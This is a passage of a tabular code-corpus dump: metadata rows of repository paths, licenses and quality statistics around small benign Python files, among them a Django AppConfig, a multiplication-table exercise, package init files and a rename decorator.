] | 57 | 2015-07-27T10:41:08.000Z | 2021-04-26T08:58:57.000Z | # The MIT License (MIT)
#
# Copyright (c) 2015 by Teradata
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modif... | 39.618667 | 79 | 0.637545 | 1,628 | 14,857 | 5.768428 | 0.130835 | 0.172506 | 0.183154 | 0.15845 | 0.73251 | 0.724843 | 0.690235 | 0.68555 | 0.667874 | 0.664147 | 0 | 0.020772 | 0.241772 | 14,857 | 374 | 80 | 39.724599 | 0.812872 | 0.101501 | 0 | 0.66436 | 0 | 0.00692 | 0.051112 | 0.01353 | 0 | 0 | 0 | 0 | 0.442907 | 1 | 0.062284 | false | 0 | 0.017301 | 0 | 0.083045 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
17472375f1c4b4f8e39d2a72771872cee4d1cdfb | 242 | py | Python | myia/abstract/__init__.py | strint/myia | 3d00d3fb3df80ab7a264a724226c5f56c6ff1a8a | [
"MIT"
] | 222 | 2019-02-13T07:56:28.000Z | 2022-03-28T07:07:54.000Z | myia/abstract/__init__.py | strint/myia | 3d00d3fb3df80ab7a264a724226c5f56c6ff1a8a | [
"MIT"
] | 107 | 2019-02-12T21:56:39.000Z | 2022-03-12T01:08:03.000Z | myia/abstract/__init__.py | strint/myia | 3d00d3fb3df80ab7a264a724226c5f56c6ff1a8a | [
"MIT"
] | 27 | 2017-11-14T17:58:15.000Z | 2019-01-14T01:36:09.000Z | """Abstract data and type/shape inference."""
from .aliasing import *
from .amerge import *
from .data import *
from .infer import *
from .loop import *
from .macro import *
from .ref import *
from .to_abstract import *
from .utils import *
| 20.166667 | 45 | 0.719008 | 34 | 242 | 5.088235 | 0.470588 | 0.462428 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173554 | 242 | 11 | 46 | 22 | 0.865 | 0.161157 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
1787b008080a665a0468c67576b3930c21a8f936 | 379 | py | Python | PythonExercicios/ex009.py | marcoantonio97/Curso-de-Python | b99c6c75e2b845086203b84a71a4013c0658dc44 | [
"MIT"
] | null | null | null | PythonExercicios/ex009.py | marcoantonio97/Curso-de-Python | b99c6c75e2b845086203b84a71a4013c0658dc44 | [
"MIT"
] | null | null | null | PythonExercicios/ex009.py | marcoantonio97/Curso-de-Python | b99c6c75e2b845086203b84a71a4013c0658dc44 | [
"MIT"
] | null | null | null | n = int(input('Digite um número: '))
print('{}x1={}'.format(n, (n*1)))
print('{}x2={}'.format(n, (n*2)))
print('{}x3={}'.format(n, (n*3)))
print('{}x4={}'.format(n, (n*4)))
print('{}x5={}'.format(n, (n*5)))
print('{}x6={}'.format(n, (n*6)))
print('{}x7={}'.format(n, (n*7)))
print('{}x8={}'.format(n, (n*8)))
print('{}x9... | 31.583333 | 36 | 0.488127 | 66 | 379 | 2.80303 | 0.424242 | 0.378378 | 0.432432 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062323 | 0.068602 | 379 | 11 | 37 | 34.454545 | 0.461756 | 0 | 0 | 0 | 0 | 0 | 0.234829 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.909091 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
bd70e9d10b5f52ec031ec165eb19c3101f88e547 | 109 | py | Python | base.py | vicenteneto/online-judge-solutions | 4176e2387658f083b980d7b49bc98300a4c28411 | [
"MIT"
] | null | null | null | base.py | vicenteneto/online-judge-solutions | 4176e2387658f083b980d7b49bc98300a4c28411 | [
"MIT"
] | null | null | null | base.py | vicenteneto/online-judge-solutions | 4176e2387658f083b980d7b49bc98300a4c28411 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
'''
Escreva a sua solução aqui
Code your solution here
Escriba su solución aquí
'''
| 13.625 | 26 | 0.669725 | 16 | 109 | 4.5625 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011364 | 0.192661 | 109 | 7 | 27 | 15.571429 | 0.818182 | 0.899083 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
bd758a021942cd9560f911269bb9027e5b1da81f | 102 | py | Python | UTDVN_backend/UTDVN_database/apps.py | NewLuminous/UTDVN | e3e628fd9aa68278780b88e41ffe2ecdd97704b2 | [
"MIT"
] | 1 | 2020-02-20T12:41:49.000Z | 2020-02-20T12:41:49.000Z | UTDVN_backend/UTDVN_database/apps.py | NewLuminous/UTDVN | e3e628fd9aa68278780b88e41ffe2ecdd97704b2 | [
"MIT"
] | 10 | 2021-03-10T14:27:55.000Z | 2022-03-02T15:01:13.000Z | UTDVN_backend/UTDVN_database/apps.py | NewLuminous/UTDVN | e3e628fd9aa68278780b88e41ffe2ecdd97704b2 | [
"MIT"
] | 1 | 2021-12-31T11:15:13.000Z | 2021-12-31T11:15:13.000Z | from django.apps import AppConfig
class UtdvnDatabaseConfig(AppConfig):
name = 'UTDVN_database'
| 17 | 37 | 0.784314 | 11 | 102 | 7.181818 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147059 | 102 | 5 | 38 | 20.4 | 0.908046 | 0 | 0 | 0 | 0 | 0 | 0.137255 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
bda59aa40e6f1819467765b2f7a28f441cebfbac | 205 | py | Python | src/cms/templatetags/offer_filters.py | digitalfabrik/coldaid-backend | b769510570d5921e30876565263813c0362994e2 | [
"Apache-2.0"
] | 4 | 2019-12-05T16:45:17.000Z | 2020-05-09T07:26:34.000Z | src/cms/templatetags/offer_filters.py | digitalfabrik/coldaid-backend | b769510570d5921e30876565263813c0362994e2 | [
"Apache-2.0"
] | 56 | 2019-12-05T12:31:37.000Z | 2021-01-07T15:47:45.000Z | src/cms/templatetags/offer_filters.py | digitalfabrik/coldaid-backend | b769510570d5921e30876565263813c0362994e2 | [
"Apache-2.0"
] | 2 | 2019-12-11T09:52:26.000Z | 2020-05-09T07:26:38.000Z | from django import template
register = template.Library()
@register.filter
def active_since(region_offers, offer_template):
return region_offers.filter(template=offer_template).first().created_date
| 22.777778 | 77 | 0.814634 | 26 | 205 | 6.192308 | 0.653846 | 0.149068 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097561 | 205 | 8 | 78 | 25.625 | 0.87027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0.2 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
bdb5b648cc7c4fd86c5d495ef11540bcfe2b78d7 | 92 | py | Python | napalm_eltex/__init__.py | noc-uac-ssc/napalm-eltex | 590a8dcc13fa3fcf86f7bc2b71760d5c34952ab8 | [
"MIT"
] | 1 | 2022-02-15T08:02:34.000Z | 2022-02-15T08:02:34.000Z | napalm_eltex/__init__.py | noc-uac-ssc/napalm-eltex | 590a8dcc13fa3fcf86f7bc2b71760d5c34952ab8 | [
"MIT"
] | null | null | null | napalm_eltex/__init__.py | noc-uac-ssc/napalm-eltex | 590a8dcc13fa3fcf86f7bc2b71760d5c34952ab8 | [
"MIT"
] | 1 | 2022-03-08T06:07:33.000Z | 2022-03-08T06:07:33.000Z | """napalm-eltex package."""
from napalm_eltex.eltex import CEDriver
__all__ = ('CEDriver',) | 23 | 39 | 0.73913 | 11 | 92 | 5.727273 | 0.636364 | 0.349206 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097826 | 92 | 4 | 40 | 23 | 0.759036 | 0.228261 | 0 | 0 | 0 | 0 | 0.121212 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
bdff120c7af18e335577c84f26e8967b391cfe34 | 152 | py | Python | trainer/rename.py | Originofamonia/pylon | a13f19d64e366545d4052012dcea7f2c0776e5dc | [
"Apache-2.0"
] | 16 | 2020-10-26T20:09:00.000Z | 2021-09-07T12:05:39.000Z | trainer/rename.py | aggelis/pylon | e26202b2c1cfbb8b5c444f840763f0ce839f048a | [
"Apache-2.0"
] | null | null | null | trainer/rename.py | aggelis/pylon | e26202b2c1cfbb8b5c444f840763f0ce839f048a | [
"Apache-2.0"
] | 8 | 2020-10-26T08:01:41.000Z | 2022-03-05T20:25:59.000Z | def rename(newname):
"""define the name of the function"""
def decorator(f):
f.__name__ = newname
return f
return decorator | 21.714286 | 41 | 0.611842 | 19 | 152 | 4.684211 | 0.578947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.296053 | 152 | 7 | 42 | 21.714286 | 0.831776 | 0.203947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
da1af0282a8d386d1e728a0a2364c6d88830fe33 | 41 | py | Python | api/algo.py | unithmallavaram/TeamFormationAssistant_V2 | c2fd982765adf0c716bb836732a4dcae66c3a2ce | [
"MIT"
] | 3 | 2020-10-01T02:55:21.000Z | 2020-10-05T01:37:50.000Z | api/algo.py | unithmallavaram/TeamFormationAssistant_V2 | c2fd982765adf0c716bb836732a4dcae66c3a2ce | [
"MIT"
] | 40 | 2021-09-19T21:05:41.000Z | 2021-10-02T04:09:07.000Z | api/algo.py | unithmallavaram/TeamFormationAssistant_V2 | c2fd982765adf0c716bb836732a4dcae66c3a2ce | [
"MIT"
] | 5 | 2020-10-27T03:21:57.000Z | 2021-09-19T19:58:35.000Z | import sys
f = open("success.txt", "w")
| 10.25 | 28 | 0.609756 | 7 | 41 | 3.571429 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170732 | 41 | 3 | 29 | 13.666667 | 0.735294 | 0 | 0 | 0 | 0 | 0 | 0.292683 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.